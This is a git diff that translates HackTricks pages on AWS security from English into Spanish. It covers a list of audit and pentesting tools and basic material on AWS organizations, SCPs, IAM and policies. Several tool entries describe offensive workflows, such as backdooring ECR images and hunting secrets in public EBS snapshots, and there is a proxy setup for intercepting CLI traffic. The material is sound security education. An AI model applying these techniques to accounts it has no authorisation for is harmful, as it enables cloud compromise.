pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
- It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
-
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining es una herramienta de evaluación de seguridad de AWS IAM que identifica violaciones del principio de menor privilegio y genera un informe HTML priorizado por riesgo.\
+Mostrará los clientes **sobre privilegiados** potencialmente, las **políticas** en línea y de aws, y qué **principales tienen acceso a ellas**. (No solo verifica el privesc, sino también otros tipos de permisos interesantes, se recomienda su uso).
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack evalúa cuentas de AWS en busca de **vulnerabilidades de secuestro de subdominios** como resultado de configuraciones desacopladas de Route53 y CloudFront.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositorios ECR -> Extraer repositorio ECR -> Insertar puerta trasera -> Subir imagen con puerta trasera
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag es una herramienta que **busca** a través de instantáneas públicas de Elastic Block Storage (**EBS**) en busca de secretos que pueden haber sido dejados accidentalmente.
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
-
-### Audit
-
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
+### Auditoría
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit de Aqua es un proyecto de código abierto diseñado para permitir la detección de **riesgos de seguridad en cuentas de infraestructura en la nube**, incluyendo: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) y GitHub (no busca ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
-
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación forense.
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
-
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox te ayuda a obtener conciencia situacional en entornos de nube desconocidos. Es una herramienta de línea de comandos de código abierto creada para ayudar a los pentesters y otros profesionales de la seguridad ofensiva a encontrar rutas de ataque explotables en la infraestructura de la nube.
```bash
cloudfox aws --profile [profile-name] all-checks
```
-
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
-
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite es una herramienta de auditoría de seguridad multi-nube de código abierto, que permite la evaluación de la postura de seguridad de los entornos en la nube.
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
+- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (usa python2.7 y parece no estar mantenido)
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus es una herramienta poderosa para las mejores prácticas de endurecimiento de AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (parece no estar mantenida). Solo verifica las credenciales configuradas por defecto dentro del sistema.
-- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
+### Auditoría Constante
-### Constant Audit
-
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
-
-## DEBUG: Capture AWS cli requests
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura de nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reportes de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot son evaluados contra estas políticas para medir la conformidad con las políticas. El marco de **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert es un marco de análisis de datos **en tiempo real** sin servidor que te permite **ingresar, analizar y alertar** sobre datos de cualquier entorno, **usando fuentes de datos y lógica de alertas que defines**. Los equipos de seguridad informática utilizan StreamAlert para escanear terabytes de datos de registro todos los días para la detección y respuesta a incidentes.
+## DEBUG: Capturar solicitudes de AWS cli
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
-
-## References
+## Referencias
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 02e6e7729..31d9f1421 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,331 +1,313 @@
-# AWS - Basic Information
+# AWS - Información Básica
{{#include ../../../banners/hacktricks-training.md}}
-## Organization Hierarchy
+## Jerarquía de Organización
.png>)
-### Accounts
+### Cuentas
-In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
+En AWS hay una **cuenta raíz**, que es el **contenedor principal para todas las cuentas** de tu **organización**. Sin embargo, no necesitas usar esa cuenta para desplegar recursos, puedes crear **otras cuentas para separar diferentes infraestructuras de AWS** entre ellas.
-This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
+Esto es muy interesante desde el punto de vista de la **seguridad**, ya que **una cuenta no podrá acceder a los recursos de otra cuenta** (excepto si se crean puentes específicamente), de esta manera puedes crear límites entre los despliegues.
-Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
+Por lo tanto, hay **dos tipos de cuentas en una organización** (estamos hablando de cuentas de AWS y no de cuentas de usuario): una única cuenta que se designa como la cuenta de gestión, y una o más cuentas miembro.
-- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
+- La **cuenta de gestión (la cuenta raíz)** es la cuenta que usas para crear la organización. Desde la cuenta de gestión de la organización, puedes hacer lo siguiente:
- - Create accounts in the organization
- - Invite other existing accounts to the organization
- - Remove accounts from the organization
- - Manage invitations
- - Apply policies to entities (roots, OUs, or accounts) within the organization
- - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- - It's possible to login as the root user using the email and password used to create this root account/organization.
+- Crear cuentas en la organización
+- Invitar a otras cuentas existentes a la organización
+- Eliminar cuentas de la organización
+- Gestionar invitaciones
+- Aplicar políticas a entidades (raíces, OUs o cuentas) dentro de la organización
+- Habilitar la integración con servicios de AWS compatibles para proporcionar funcionalidad de servicio en todas las cuentas de la organización.
+- Es posible iniciar sesión como el usuario raíz utilizando el correo electrónico y la contraseña utilizados para crear esta cuenta raíz/organización.
- The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
-
-- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
+La cuenta de gestión tiene las **responsabilidades de una cuenta pagadora** y es responsable de pagar todos los cargos que son acumulados por las cuentas miembro. No puedes cambiar la cuenta de gestión de una organización.
+- Las **cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta.
+- Las cuentas miembro **deben usar una dirección de correo electrónico válida** y pueden tener un **nombre**, en general no podrán gestionar la facturación (pero podrían recibir acceso a ella).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
+### **Unidades de Organización**
-### **Organization Units**
-
-Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
-
+Las cuentas pueden agruparse en **Unidades de Organización (OU)**. De esta manera, puedes crear **políticas** para la Unidad de Organización que se van a **aplicar a todas las cuentas hijas**. Ten en cuenta que una OU puede tener otras OUs como hijas.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
-
### Service Control Policy (SCP)
-A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
+Una **política de control de servicio (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**.
-This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
-The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
+Esta es la ÚNICA forma en que **incluso el usuario raíz puede ser detenido** de hacer algo. Por ejemplo, podría usarse para evitar que los usuarios desactiven CloudTrail o eliminen copias de seguridad.\
+La única forma de eludir esto es comprometer también la **cuenta maestra** que configura las SCP (la cuenta maestra no puede ser bloqueada).
> [!WARNING]
-> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
+> Ten en cuenta que **las SCP solo restringen a los principales en la cuenta**, por lo que otras cuentas no se ven afectadas. Esto significa que tener una SCP que niegue `s3:GetObject` no detendrá a las personas de **acceder a un bucket S3 público** en tu cuenta.
-SCP examples:
+Ejemplos de SCP:
-- Deny the root account entirely
-- Only allow specific regions
-- Only allow white-listed services
-- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
+- Negar completamente la cuenta raíz
+- Solo permitir regiones específicas
+- Solo permitir servicios en la lista blanca
+- Negar que GuardDuty, CloudTrail y S3 Public Block Access sean desactivados
+- Negar que los roles de seguridad/respuesta a incidentes sean eliminados o modificados.
+- Negar que las copias de seguridad sean eliminadas.
+- Negar la creación de usuarios IAM y claves de acceso
- being disabled
-
-- Deny security/incident response roles from being deleted or
-
- modified.
-
-- Deny backups from being deleted.
-- Deny creating IAM users and access keys
-
-Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+Encuentra **ejemplos de JSON** en [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### ARN
-**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
-
+**Amazon Resource Name** es el **nombre único** que tiene cada recurso dentro de AWS, se compone así:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-
-Note that there are 4 partitions in AWS but only 3 ways to call them:
+Note que hay 4 particiones en AWS pero solo 3 formas de llamarlas:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
-## IAM - Identity and Access Management
+## IAM - Gestión de Identidad y Acceso
-IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+IAM es el servicio que te permitirá gestionar **Autenticación**, **Autorización** y **Control de Acceso** dentro de tu cuenta de AWS.
-- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
-- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
-- **Access Control** - The method and process of how access is granted to a secure resource
+- **Autenticación** - Proceso de definir una identidad y la verificación de esa identidad. Este proceso se puede subdividir en: Identificación y verificación.
+- **Autorización** - Determina a qué puede acceder una identidad dentro de un sistema una vez que ha sido autenticada.
+- **Control de Acceso** - El método y proceso de cómo se concede acceso a un recurso seguro.
-IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+IAM se puede definir por su capacidad para gestionar, controlar y gobernar los mecanismos de autenticación, autorización y control de acceso de identidades a tus recursos dentro de tu cuenta de AWS.
-### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [Usuario raíz de la cuenta de AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
+Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una única identidad de inicio de sesión que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que usaste para crear la cuenta**.
-Note that a new **admin user** will have **less permissions that the root user**.
+Ten en cuenta que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**.
-From a security point of view, it's recommended to create other users and avoid using this one.
+Desde un punto de vista de seguridad, se recomienda crear otros usuarios y evitar usar este.
-### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
+### [Usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
+Un _usuario_ de IAM es una entidad que creas en AWS para **representar a la persona o aplicación** que lo utiliza para **interactuar con AWS**. Un usuario en AWS consiste en un nombre y credenciales (contraseña y hasta dos claves de acceso).
-When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
+Cuando creas un usuario de IAM, le otorgas **permisos** haciéndolo **miembro de un grupo de usuarios** que tiene políticas de permisos apropiadas adjuntas (recomendado), o **adjuntando políticas directamente** al usuario.
-Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Los usuarios pueden tener **MFA habilitado para iniciar sesión** a través de la consola. Los tokens API de los usuarios con MFA habilitado no están protegidos por MFA. Si deseas **restringir el acceso de las claves API de un usuario usando MFA**, necesitas indicar en la política que para realizar ciertas acciones se necesita que MFA esté presente (ejemplo [**aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
-- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
-- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
+- **ID de clave de acceso**: 20 caracteres alfanuméricos aleatorios en mayúsculas como AKHDNAPO86BSHKDIRYT
+- **ID de clave de acceso secreta**: 40 caracteres aleatorios en mayúsculas y minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (No es posible recuperar IDs de clave de acceso secreta perdidas).
-Whenever you need to **change the Access Key** this is the process you should follow:\
-NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+Siempre que necesites **cambiar la clave de acceso**, este es el proceso que debes seguir:\
+NAN;_Crear una nueva clave de acceso -> Aplicar la nueva clave al sistema/aplicación -> marcar la original como inactiva -> Probar y verificar que la nueva clave de acceso funciona -> Eliminar la clave de acceso antigua_
-### MFA - Multi Factor Authentication
+### MFA - Autenticación de Múltiples Factores
-It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
-You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+Se utiliza para **crear un factor adicional para la autenticación** además de tus métodos existentes, como la contraseña, creando así un nivel de autenticación multifactor.\
+Puedes usar una **aplicación virtual gratuita o un dispositivo físico**. Puedes usar aplicaciones como Google Authenticator de forma gratuita para activar un MFA en AWS.
-Policies with MFA conditions can be attached to the following:
+Las políticas con condiciones de MFA se pueden adjuntar a lo siguiente:
-- An IAM user or group
-- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
-- The trust policy of an IAM role that can be assumed by a user
-
-If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
-Note that **`AssumeRole` credentials don't contain this information**.
+- Un usuario o grupo de IAM
+- Un recurso como un bucket de Amazon S3, una cola de Amazon SQS o un tema de Amazon SNS
+- La política de confianza de un rol de IAM que puede ser asumido por un usuario
+Si deseas **acceder a través de CLI** a un recurso que **verifica MFA**, necesitas llamar a **`GetSessionToken`**. Eso te dará un token con información sobre MFA.\
+Ten en cuenta que **las credenciales de `AssumeRole` no contienen esta información**.
```bash
aws sts get-session-token --serial-number --token-code
```
+Como [**se indica aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), hay muchos casos diferentes en los que **MFA no se puede usar**.
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
+### [Grupos de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
+Un [grupo de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**.
-An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
+Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. **No puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas.
-You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
+Aquí hay algunas características importantes de los grupos de usuarios:
-Here are some important characteristics of user groups:
+- Un **grupo** de usuarios puede **contener muchos usuarios**, y un **usuario** puede **pertenecer a múltiples grupos**.
+- **Los grupos de usuarios no pueden estar anidados**; solo pueden contener usuarios, no otros grupos de usuarios.
+- No hay **un grupo de usuarios predeterminado que incluya automáticamente a todos los usuarios en la cuenta de AWS**. Si deseas tener un grupo de usuarios así, debes crearlo y asignar a cada nuevo usuario a él.
+- El número y tamaño de los recursos IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
-- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
-- **User groups can't be nested**; they can contain only users, not other user groups.
-- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
-- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+### [Roles de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
+Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adquirir diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM.
-An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
+Un rol de IAM consiste en **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **a qué puede acceder**.
-An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
+#### Servicio de Token de Seguridad de AWS (STS)
-#### AWS Security Token Service (STS)
+El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita la **emisión de credenciales temporales de privilegios limitados**. Está específicamente diseñado para:
-AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
+### [Credenciales temporales en IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas.
-**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
+### Políticas
-### Policies
+#### Permisos de Políticas
-#### Policy Permissions
+Se utilizan para asignar permisos. Hay 2 tipos:
-Are used to assign permissions. There are 2 types:
-
-- AWS managed policies (preconfigured by AWS)
-- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
-
-By **default access** is **denied**, access will be granted if an explicit role has been specified.\
-If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
+- Políticas administradas por AWS (preconfiguradas por AWS)
+- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya propia), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia.
+Por **defecto, el acceso** es **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\
+Si **existe un único "Deny", anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto).
```javascript
{
- "Version": "2012-10-17", //Version of the policy
- "Statement": [ //Main element, there can be more than 1 entry in this array
- {
- "Sid": "Stmt32894y234276923" //Unique identifier (optional)
- "Effect": "Allow", //Allow or deny
- "Action": [ //Actions that will be allowed or denied
- "ec2:AttachVolume",
- "ec2:DetachVolume"
- ],
- "Resource": [ //Resource the action and effect will be applied to
- "arn:aws:ec2:*:*:volume/*",
- "arn:aws:ec2:*:*:instance/*"
- ],
- "Condition": { //Optional element that allow to control when the permission will be effective
- "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
- }
- }
- ]
+"Version": "2012-10-17", //Version of the policy
+"Statement": [ //Main element, there can be more than 1 entry in this array
+{
+"Sid": "Stmt32894y234276923" //Unique identifier (optional)
+"Effect": "Allow", //Allow or deny
+"Action": [ //Actions that will be allowed or denied
+"ec2:AttachVolume",
+"ec2:DetachVolume"
+],
+"Resource": [ //Resource the action and effect will be applied to
+"arn:aws:ec2:*:*:volume/*",
+"arn:aws:ec2:*:*:instance/*"
+],
+"Condition": { //Optional element that allow to control when the permission will be effective
+"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+}
+}
+]
}
```
+Los [campos globales que se pueden usar para condiciones en cualquier servicio están documentados aquí](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+Los [campos específicos que se pueden usar para condiciones por servicio están documentados aquí](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
-The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+#### Políticas en línea
-#### Inline Policies
+Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que cualquier otro puede usarlas.\
+Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso es porque son parte de la entidad principal.
-This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
